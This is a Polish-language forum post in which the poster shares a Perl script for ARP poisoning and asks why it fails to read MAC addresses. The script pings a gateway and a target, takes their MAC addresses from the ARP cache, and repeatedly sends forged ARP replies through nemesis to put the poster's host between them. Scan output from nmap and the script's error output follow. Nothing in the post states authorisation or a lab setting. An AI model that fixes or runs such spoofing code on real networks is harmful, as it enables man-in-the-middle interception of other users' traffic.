Mam problem z atakiem APR Poisoning.
Mam taki programik ktory na podstwaie podanych adresow IP (bramy, cely) oraz interwalu czasowego z interfejsem znajudje adresu MAC obu adresow IP. Potem uzywa programu Nemesis aby 'wstrzyknac' pakiety do sieci.
Program pokazany ponizej:
Kod:
#!/usr/bin/perl
$gateway = shift;
$target = shift;
$time = shift;
$device = shift;
$i = 1;
$SIG{INT} = \&quit;
# Sprawdz poprawnosc argumentow przed startem
if ($gateway!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
{
die("Uzycie: ./arp.pl IP_Bramy IP_Celu Interwal Interfejs\n");
}
if ($target!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
{
die("Uzycie: ./arp.pl IP_Bramy IP_Celu Interwal Interfejs\n");
}
if ($time=~/^$/)
{
$time = 10;
print("[-] Interwal nieznany, przyjmuje 10 sekund.\n");
}
if ($time!~/^[0-9]+$/)
{
die("Uzycie: ./arp.pl IP_Bramy IP_Celu Interwal Interfejs\n");
}
if ($device=~/^$/)
{
$device = "wlan0";
print("[-] Interfejs nieznany, przyjumje waln0.\n");
}
# Odczytaj adresy MAC bramy i celu
print("[+] Wysylam zadanie echa do $gateway.\n");
system("ping -c 1 -w 1 $gateway 2>&1 > /dev/null");
print("[+] Wysylam zadanie echa do $target.\n");
system("ping -c 1 -w 1 $target 2>&1 > /dev/null");
# Pakiety wyslano, mozemy odczytac adresy MAC
print "[+] Odczytuje adresy MAC z pamieci podrecznej ARP.\n";
$gateway_mac = qx[arp -na $gateway];
$gateway_mac = substr($gateway_mac, index($gateway_mac, ":")-2, 17);
$target_mac = qx[arp -na $target];
$target_mac = substr($target_mac, index($target_mac, ":")-2, 17);
# Sprawdz czy odczytane adresy MAC sa poprawne
if ($gateway_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
die("[!] Nie moglem odczytac adresu MAC dla $gateway.");
}
if ($target_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
die("[!] Nie moglem odczytac adresu MAC dla $target.");
}
# Odczytaj wlasny adres IP oraz MAC
print "[+] Odczytuje wlasny adres IP oraz MAC, wykorzystujac ifconfig.\n";
@ifconf = split(" ", qx[ifconfig $device]);
$you = substr(" ", qx[ifconfig $device]);
$you = substr(@ifconf[6],5);
$you_mac = $ifconf[4];
print "[+] Interwal wysylania pakietow to $time sekund.\n\n";
print "-> Ty: $you [$you_mac]\n";
print "-> Cel: $target [$target_mac]\n";
print "-> Brama: $gateway [$gateway_mac]\n\n";
# Wysylamy pakiety ARP
while($i)
{
print("[+] Wysylam pakiet ARP: Powiedz $target, ze $gateway jest osiagalny pod $you_mac\n");
system("nemesis arp -r -d $device -S $gateway -D $target -h $you_mac -m $target_mac -H $you-mac -M $target-mac 2>&1 > /dev/null");
print("[+] Wysylam pakiet ARP: Powiedz $gateway, ze $target jest osiagalny pod $you_mac\n");
system("nemesis arp -r -d $device -S $target -D $gateway -h $you_mac -m $gateway_mac -H $you_mac -M $gateway_mac 2>&1 > /dev/null");
sleep $time;
}
# Wcisnieto ctrl+c, przywracamy oryginalne ustawiena
sub quit
{
$i = 0;
print("[-] Koniec programu. Przywracanie oryginalnych ustawien ARP.\n");
system("nemesis arp -r -d $device -S $gateway -D $target -h $gateway_mac -m $target_mac -H $gateway_mac -M $target_mac 2>&1 > /dev/null");
system("nemesis arp -r -d $device -S $target -D $gateway -h $target_mac -m $gateway_mac -H target_mac -M $gateway_mac 2>&1 > /dev/null");
}
Program jest napisany w Perl.
Uzywam komendy
Kod:
nmap -sP 192.168.1.*
Ona pokazuje mi ze znalezione zostaly trzy uzadzenia w sieci:
Kod:
Starting Nmap 5.21 ( http://nmap.org ) at 2011-12-10 11:22 GMT
Nmap scan report for 192.168.1.1
Host is up (0.00049s latency).
MAC Address: 00:24:D2:27:37:84 (Askey Computer)
Nmap scan report for 192.168.1.3
Host is up (0.0029s latency).
MAC Address: C4:17:FE:55:CE:9C (Unknown)
Nmap scan report for 192.168.1.4
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 5.60 seconds
Wiec tak. Ja jestem pod adresem 192.168.1.4. Brama to 192.168.1.1. A cel to 192.168.1.3.
Teraz wprowadzam te dane to programu.
Kod:
./arp.pl 192.168.1.1 192.168.1.3
Potem dostaje taki output:
Kod:
[-] Interwal nieznany, przyjmuje 10 sekund.
[-] Interfejs nieznany, przyjumje waln0.
[+] Wysylam zadanie echa do 192.168.1.1.
[+] Wysylam zadanie echa do 192.168.1.3.
[+] Odczytuje adresy MAC z pamieci podrecznej ARP.
[!] Nie moglem odczytac adresu MAC dla 192.168.1.1. at ./arp.pl line 56.
Wiec program uwaza ze adres MAC jest niepoprawny dla bramy a jesli usune veryfikacje adresu MAC dla bramy to ten sam problem dostaje dla celu. Moze mi ktos powiedziec co robie nie tak?
Z gory dzieki. :]